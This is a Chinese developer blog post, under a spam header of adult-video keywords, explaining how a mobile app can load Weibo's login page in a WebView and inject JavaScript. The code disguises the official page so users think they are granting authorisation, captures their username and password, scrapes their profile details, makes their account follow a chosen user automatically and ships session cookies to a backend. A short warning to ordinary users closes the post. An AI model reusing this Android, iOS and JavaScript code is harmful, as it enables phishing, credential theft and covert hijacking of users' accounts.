成人国产在线小视频_日韩寡妇人妻调教在线播放_色成人www永久在线观看_2018国产精品久久_亚洲欧美高清在线30p_亚洲少妇综合一区_黄色在线播放国产_亚洲另类技巧小说校园_国产主播xx日韩_a级毛片在线免费

資訊專欄INFORMATION COLUMN

app端用戶信息自動(dòng)獲取--微博

hankkin / 3055人閱讀

摘要:地址項(xiàng)目目的在和端使用組件與進(jìn)行交互,串改頁面,讓用戶授權(quán)登錄后,獲取用戶關(guān)鍵信息,并完成自動(dòng)關(guān)注一個(gè)賬號(hào)。登錄這是微博移動(dòng)端登錄頁首先使用串改當(dāng)前頁面元素,讓用戶沒法意識(shí)到這是微博官方的登錄頁。

github地址

項(xiàng)目目的

在app(ios和android)端使用webview組件與js進(jìn)行交互,串改頁面,讓用戶授權(quán)登錄后,獲取用戶關(guān)鍵信息,并完成自動(dòng)關(guān)注一個(gè)賬號(hào)。

傳統(tǒng)爬蟲模式的局限

傳統(tǒng)爬蟲模式,讓用戶在客戶端在輸入賬號(hào)密碼,然后傳送到后端進(jìn)行登錄,爬取信息,這種方式將要面對(duì)各種人機(jī)驗(yàn)證措施,加密方法復(fù)雜的情況下,還得選擇selenium,性能更無法保證。同時(shí),對(duì)于個(gè)人賬戶,安全措施越來越嚴(yán),使用代理ip進(jìn)行操作,很容易造成異地登錄等問題,代理ip也很可能在全網(wǎng)被重復(fù)使用的情況下,被封殺,頻繁的代理ip切換也會(huì)帶來需要二次登錄等問題。
所以這兩年年來,發(fā)現(xiàn)市面上越來越多的提供sdk方式的數(shù)據(jù)提供商,經(jīng)過抓包及反編譯sdk,發(fā)現(xiàn)其大多數(shù)使用webview載入第三方頁面的方式完成登錄,有的在登錄完成之后,獲取cookie傳送到后端完成爬取,有的直接在app內(nèi)完成所需信息的收集。

登錄

這是微博移動(dòng)端登錄頁

首先使用JavaScript串改當(dāng)前頁面元素,讓用戶沒法意識(shí)到這是微博官方的登錄頁。

載入頁面

android

webView.loadUrl(LOGINPAGEURL);

iOS

[self requestUrl:self.loginPageUrl];
//請(qǐng)求url方法
-(void) requestUrl:(NSString*) urlString{
    NSURL* url=[NSURL URLWithString:urlString];
    NSURLRequest* request=[NSURLRequest requestWithURL:url];
    [self.webView loadRequest:request];
}
js代碼注入

首先我們注入js代碼到app的webview中
android

private void injectScriptFile(String filePath) {
        InputStream input;
        try {
            input = webView.getContext().getAssets().open(filePath);
            byte[] buffer = new byte[input.available()];
            input.read(buffer);
            input.close();
            // String-ify the script byte-array using BASE64 encoding
            String encoded = Base64.encodeToString(buffer, Base64.NO_WRAP);
            String funstr = "javascript:(function() {" +
                    "var parent = document.getElementsByTagName("head").item(0);" +
                    "var script = document.createElement("script");" +
                    "script.type = "text/javascript";" +
                    "script.innerHTML = decodeURIComponent(escape(window.atob("" + encoded + "")));" +
                    "parent.appendChild(script)" +
                    "})()";
            execJsNoReturn(funstr);
        } catch (IOException e) {
            Log.e(TAG, "injectScriptFile: " + e);
        }
    }

iOS

//注入js文件
- (void) injectJsFile:(NSString *)filePath{
    NSString *jsPath = [[NSBundle mainBundle] pathForResource:filePath ofType:@"js" inDirectory:@"assets"];
    NSData *data=[NSData dataWithContentsOfFile:jsPath];
    NSString *responData =  [data base64EncodedStringWithOptions:0];
    NSString *jsStr=[NSString stringWithFormat:@"javascript:(function() {
                     var parent = document.getElementsByTagName("head").item(0);
                     var script = document.createElement("script");
                     script.type = "text/javascript";
                     script.innerHTML = decodeURIComponent(escape(window.atob("%@")));
                     parent.appendChild(script)})()",responData];
    [self.webView evaluateJavaScript:jsStr completionHandler:^(id _Nullable htmlStr,NSError * _Nullable error){
        
    }];
}

我們都采用讀取js文件,然后base64編碼后,使用window.atob把其做為一個(gè)腳本注入到當(dāng)前頁面(注意:window.atob處理中文編碼后會(huì)得到的編碼不正確,需要使用ecodeURIComponent escape來進(jìn)行正確的校正。)
在這里已經(jīng)使用了app端,調(diào)用js的方法來創(chuàng)建元素。

app端調(diào)用js方法

android端:

webView.evaluateJavascript(funcStr, new ValueCallback() {
            @Override
            public void onReceiveValue(String s) {

            }

        });

ios端:

[self.webView evaluateJavaScript:funcStr completionHandler:^(id _Nullable htmlStr,NSError * _Nullable error){
        
    }];

這兩個(gè)方法可以獲取返回值,正因?yàn)槿绱?,可以使用js提取頁面信息后,返回給webview,然后收集信息完成之后,匯總進(jìn)行通信。

js串改頁面
//串改頁面元素,讓用戶以為是授權(quán)登錄
function getLogin(){
 var topEle=selectNode("http://*[@id="avatarWrapper"]");
 var imgEle=selectNode("http://*[@id="avatarWrapper"]/img");
 topEle.remove(imgEle);
 var returnEle=selectNode("http://*[@id="loginWrapper"]/a");
 returnEle.className="";
 returnEle.innerText="";
 pEle=selectNode("http://*[@id="loginWrapper"]/p");
 pEle.className="";
 pEle.innerHTML="";
 footerEle=selectNode("http://*[@id="loginWrapper"]/footer");
 footerEle.innerHTML="";
 var loginNameEle=selectNode("http://*[@id="loginName"]");
 loginNameEle.placeholder="請(qǐng)輸入用戶名";
 var buttonEle=selectNode("http://*[@id="loginAction"]");
 buttonEle.innerText="請(qǐng)進(jìn)行用戶授權(quán)";
 selectNode("http://*[@id="loginWrapper"]/form/section/div[1]/i").className="";
 selectNode("http://*[@id="loginWrapper"]/form/section/div[2]/i").className="";
 selectNode("http://*[@id="loginAction"]").className="btn";
 selectNode("http://a[@id="loginAction"]").addEventListener("click",transPortUnAndPw,false);
 return window.webkit;
}
function transPortUnAndPw(){
 username=selectNode("http://*[@id="loginName"]").value;
 pwd=selectNode("http://*[@id="loginPassword"]").value;
 window.webkit.messageHandlers.getInfo({body:JSON.stringify({"username":username,"pwd":pwd})});
}

使用js修改頁面元素,使之看起來不會(huì)讓人發(fā)覺這是weibo官方的頁面。
修改后的頁面如圖:

串改登錄點(diǎn)擊事件,獲取用戶名密碼
selectNode("http://a[@id="loginAction"]").addEventListener("click",transPortUnAndPw,false);
function transPortUnAndPw(){
  username=selectNode("http://*[@id="loginName"]").value;
  pwd=selectNode("http://*[@id="loginPassword"]").value;
  window.webkit.messageHandlers.getInfo({body:JSON.stringify({"username":username,"pwd":pwd})});
}

同時(shí)串改登錄點(diǎn)擊按鈕,通過js調(diào)用app webview的方法,把用戶名和密碼傳遞給app webview 完成信息收集。

js調(diào)用webview的方法

android端:

//?js代碼
window.weibo.getPwd(JSON.stringify({"username":username,"pwd":pwd}));
//Java代碼
webView.addJavascriptInterface(new WeiboJsInterface(), "weibo");
public class WeiboJsInterface {
        @JavascriptInterface
        public void getPwd(String returnValue) {
            try {
                unpwDict = new JSONObject(returnValue);
            } catch (JSONException e) {
                e.printStackTrace();
            }
        }
    }

android通過實(shí)現(xiàn)一個(gè)@JavaScriptInterface接口,把這個(gè)方法添加類添加到webview的瀏覽器內(nèi)核之上,當(dāng)調(diào)用這個(gè)方法時(shí),會(huì)觸發(fā)android端的調(diào)用。
ios端:

//js代碼
window.webkit.messageHandlers.getInfo({body:JSON.stringify({"username":username,"pwd":pwd})});
//oc代碼
WKUserContentController *userContentController = [[WKUserContentController alloc] init];
 [userContentController addScriptMessageHandler:self name:@"getInfo"];

- (void)userContentController:(WKUserContentController *)userContentController didReceiveScriptMessage:(WKScriptMessage *)message
{
    
    self.unpwDict=[self getReturnDict:message.body];
}

ios方式,實(shí)現(xiàn)方式與此類似,不過由于我對(duì)oc以及ios開發(fā)不熟悉,代碼運(yùn)行不符合期望,希望專業(yè)的能指正。

個(gè)人信息獲取 直接提取頁面的難點(diǎn)

webview這個(gè)組件,無論是在android端 onPageFinished方法還是ios端的didFinishNavigation方法,都無法正確判定頁面是否加載完全。所以對(duì)于很多頁面,還是選擇走接口

請(qǐng)求接口

本項(xiàng)目中,獲取用戶自己的微博,關(guān)注,和分析,都是使用接口,拿到預(yù)覽頁,直接解析數(shù),對(duì)于關(guān)鍵的參數(shù),需要仔細(xì)抓包獲取

仔細(xì)分析 “我”這個(gè)標(biāo)簽下的請(qǐng)求情況,發(fā)現(xiàn)https://m.weibo.cn/home/me?fo...,通過這個(gè)請(qǐng)求,獲取核心參數(shù),然后,獲取用戶的微博 關(guān)注 粉絲的預(yù)覽頁面。
然后通過

JSON.stringify(JSON.parse(document.getElementsByTagName("pre")[0].innerText))

獲取json字符串,并傳到app端進(jìn)行解析。
解析及多次請(qǐng)求的邏輯

請(qǐng)求頁面

也有頁面,如個(gè)人資料,頁面較簡單,可以使用js提取

js代碼
function getPersonInfo(){
  var name=selectNodeText("http://*[@id="J_name"]");
  var sex=selectNodeText("/*[@id="sex"]/option[@selected]");
  var location=selectNodeText("http://*[@id="J_location"]");
  var year=selectNodeText("http://*[@id="year"]/option[@selected]");
  var month=selectNodeText("http://*[@id="month"]/option[@selected]");
  var day=selectNodeText("http://*[@id="day"]/option[@selected]");
  var email=selectNodeText("http://*[@id="J_email"]");
  var blog=selectNodeText("http://*[@id="J_blog"]");
  if(blog=="輸入博客地址"){
    blog="未填寫";
  }
  var qq=selectNodeText("http://*[@id="J_QQ"]");
  if(qq=="QQ帳號(hào)"){
    qq="未填寫";
  }
  birthday=year+"-"+month+"-"+day;
  theDict={"name":name,"sex":sex,"localtion":location,"birthday":birthday,"email":email,"blog":blog,"qq":qq};
  return JSON.stringify({"personInfomation":theDict});
}

由于webview不支持 $x?的xpath寫法,為了方便,使用原生的XPathEvaluator,?實(shí)現(xiàn)了特定的提取。

function selectNodes(sXPath) {
  var evaluator = new XPathEvaluator();
  var result = evaluator.evaluate(sXPath, document, null, XPathResult.ANY_TYPE, null);
  if (result != null) {
    var nodeArray = [];
    var nodes = result.iterateNext();
    while (nodes) {
      nodeArray.push(nodes);
      nodes = result.iterateNext();
    }
    return nodeArray;
  }
  return null;
};
//選取子節(jié)點(diǎn)
function selectChildNode(sXPath, element) {
  var evaluator = new XPathEvaluator();
  var newResult = evaluator.evaluate(sXPath, element, null, XPathResult.ANY_TYPE, null);
  if (newResult != null) {
    var newNode = newResult.iterateNext();
    return newNode;
  }
}

function selectChildNodeText(sXPath, element) {
  var evaluator = new XPathEvaluator();
  var newResult = evaluator.evaluate(sXPath, element, null, XPathResult.ANY_TYPE, null);
  if (newResult != null) {
    var newNode = newResult.iterateNext();
    if (newNode != null) {
      return newNode.textContent.replace(/(^s*)|(s*$)/g, ""); ;
    } else {
      return "";
    }
  }
}

function selectChildNodes(sXPath, element) {
  var evaluator = new XPathEvaluator();
  var newResult = evaluator.evaluate(sXPath, element, null, XPathResult.ANY_TYPE, null);
  if (newResult != null) {
    var nodeArray = [];
    var newNode = newResult.iterateNext();
    while (newNode) {
      nodeArray.push(newNode);
      newNode = newResult.iterateNext();
    }
    return nodeArray;
  }
}

function selectNodeText(sXPath) {
  var evaluator = new XPathEvaluator();
  var newResult = evaluator.evaluate(sXPath, document, null, XPathResult.ANY_TYPE, null);
  if (newResult != null) {
    var newNode = newResult.iterateNext();
    if (newNode) {
      return newNode.textContent.replace(/(^s*)|(s*$)/g, ""); ;
    }
    return "";
  }
}
function selectNode(sXPath) {
  var evaluator = new XPathEvaluator();
  var newResult = evaluator.evaluate(sXPath, document, null, XPathResult.ANY_TYPE, null);
  if (newResult != null) {
    var newNode = newResult.iterateNext();
    if (newNode) {
      return newNode;
    }
    return null;
  }
}
自動(dòng)關(guān)注用戶

由于個(gè)人微博頁面 onPageFinished與didFinishNavigation這兩個(gè)方法無法判定頁面是否加載完全,
為了解決這個(gè)問題,在android端,使用攔截url,判定頁面加載圖片的數(shù)量來確定,是否,加載完全

//由于頁面的正確加載onPageFinieshed和onProgressChanged都不能正確判定,所以選擇在加載多張圖片后,判定頁面加載完成。
            //在這樣的情況下,自動(dòng)點(diǎn)擊元素,完成自動(dòng)關(guān)注用戶。
            @Override
            public void onLoadResource(WebView view, String url) {
                if (webView.getUrl().contains(AUTOFOCUSURL) && url.contains("jpg")) {
                    newIndex++;
                    if (newIndex == 5) {
                        webView.post(new Runnable() {
                            @Override
                            public void run() {
                                injectJsUseXpath("autoFocus.js");
                                execJsNoReturn("autoFocus();");
                            }
                        });
                    }
                }
                super.onLoadResource(view, url);
            }

js 自動(dòng)點(diǎn)擊

function autoFocus(){
  selectNode("http://span[@class="m-add-box"]").click();
}

在ios端,使用訪問接口的方式

除了目標(biāo)用戶的id外,還有一個(gè)st字符串,通過chrome的search,定位,然后通過js提取

function getSt(){
  return config["st"];
}

然后構(gòu)造post,請(qǐng)求,完成關(guān)注

- (void) autoFocus:(NSString*) st{
    //Wkwebview采用js模擬完成表單提交
    NSString *jsStr=[NSString stringWithFormat:@"function post(path, params) {var method = "post"; 
                     var form = document.createElement("form"); 
                     form.setAttribute("method", method); 
                     form.setAttribute("action", path); 
                     for(var key in params) { 
                     if(params.hasOwnProperty(key)) { 
                     var hiddenField = document.createElement("input");
                     hiddenField.setAttribute("type", "hidden");
                     hiddenField.setAttribute("name", key);
                     hiddenField.setAttribute("value", params[key]);
                     form.appendChild(hiddenField);
                     }
                     }
                     document.body.appendChild(form);
                     form.submit();
                     }
                     post("https://m.weibo.cn/api/friendships/create",{"uid":"1195242865","st":"%@"});",st];
    [self execJsNoReturn:jsStr];
}

ios WkWebview沒有post請(qǐng)求,接口,所以構(gòu)造一個(gè)表單提交,完成post請(qǐng)求。
完成,一個(gè)自動(dòng)關(guān)注,當(dāng)然,構(gòu)造一個(gè)用戶id的列表,很簡單就可以實(shí)現(xiàn)自動(dòng)關(guān)注多個(gè)用戶。

關(guān)于cookie

如果需要爬取的數(shù)據(jù)量大,可以選擇爬取少量關(guān)鍵信息后,把cookie傳到后端處理
android 端 cookie處理

CookieSyncManager.createInstance(context);  
CookieManager cookieManager = CookieManager.getInstance(); 

通過cookieManage對(duì)象可以獲取cookie字符串,傳送到后端,繼續(xù)爬取

ios端cookie處理

NSDictionary *cookie = [AppInfo shareAppInfo].userModel.cookies;

處理方式與android端類似。

總結(jié)

對(duì)于數(shù)據(jù)工程師來說,webview有點(diǎn)類似于selenium,但是運(yùn)行在服務(wù)端的selenium,有太多的局限性。webview的在客戶端運(yùn)行,就像一個(gè)用戶就是一臺(tái)肉機(jī)。
以webview為基礎(chǔ),使用app收集信息加以利用,現(xiàn)階段大多數(shù)人都還沒意識(shí)到,但是,市場上的產(chǎn)品已經(jīng)越來越多,特別是那些對(duì)數(shù)據(jù)有特殊需要的各種金融機(jī)構(gòu)。
對(duì)于普通用戶來說,不要輕易在一個(gè)app上登錄第三方賬戶,信息泄露,財(cái)產(chǎn)損失,在按下登錄或者本例中的假裝授權(quán)后,都是不可避免的。

文章版權(quán)歸作者所有,未經(jīng)允許請(qǐng)勿轉(zhuǎn)載,若此文章存在違規(guī)行為,您可以聯(lián)系管理員刪除。

轉(zhuǎn)載請(qǐng)注明本文地址:http://systransis.cn/yun/11325.html

相關(guān)文章

  • 說一說幾種登錄認(rèn)證方式,你用的哪一種

    摘要:登錄認(rèn)證幾乎是任何一個(gè)系統(tǒng)的標(biāo)配,系統(tǒng)客戶端等,好多都需要注冊(cè)登錄授權(quán)認(rèn)證。假設(shè)我們開發(fā)了一個(gè)電商平臺(tái),并集成了微信登錄,以這個(gè)場景為例,說一下的工作原理。微信網(wǎng)頁授權(quán)是授權(quán)碼模式的授權(quán)模式。 登錄認(rèn)證幾乎是任何一個(gè)系統(tǒng)的標(biāo)配,web 系統(tǒng)、APP、PC 客戶端等,好多都需要注冊(cè)、登錄、授權(quán)認(rèn)證。 場景說明 以一個(gè)電商系統(tǒng),假設(shè)淘寶為例,如果我們想要下單,首先需要注冊(cè)一個(gè)賬號(hào)。擁有了賬...

    idealcn 評(píng)論0 收藏0
  • 基于Yar的WordPress微博墻插件

    摘要:微博墻就是這樣的一個(gè)工具,這不是一款普通的插件,這是一款搭建在基于的插件。這是一款基于的插件,底層語言開發(fā),性能卓越。 在現(xiàn)在移動(dòng)互聯(lián)網(wǎng)時(shí)代,微博已經(jīng)成為了每個(gè)人生活中必不可少的一個(gè)社交工具。而WordPress是全世界最為流行的博客系統(tǒng),把你的博客接入新浪微博,借助微博的強(qiáng)大用戶群,不僅能給你的網(wǎng)站提供巨大的流量,而且還能帶來不可估量價(jià)值。 WordPress微博墻就是這樣的一個(gè)工具...

    james 評(píng)論0 收藏0
  • 探討微博時(shí)間流的實(shí)現(xiàn)

    摘要:微博系統(tǒng)的推模式和拉模式實(shí)現(xiàn)推拉結(jié)合推數(shù)據(jù)和拉數(shù)據(jù)都有什么優(yōu)缺點(diǎn)在用戶的信息流中,推數(shù)據(jù)的實(shí)現(xiàn)其實(shí)更簡單。姚晨發(fā)了條微博,只需要取出姚晨粉絲的信息流,依次推給粉絲就了。簡單介紹了我對(duì)時(shí)間流的看法只是我個(gè)人的認(rèn)識(shí),不知道微博具體是如何實(shí)現(xiàn)的。 微博feed系統(tǒng)的推(push)模式和拉(pull)模式實(shí)現(xiàn)timeline 推拉結(jié)合 推數(shù)據(jù)和拉數(shù)據(jù)都有什么優(yōu)缺點(diǎn)?在用戶的信息流中,推數(shù)據(jù)的實(shí)...

    Kylin_Mountain 評(píng)論0 收藏0

發(fā)表評(píng)論

0條評(píng)論

hankkin

|高級(jí)講師

TA的文章

閱讀更多
最新活動(dòng)
閱讀需要支付1元查看
<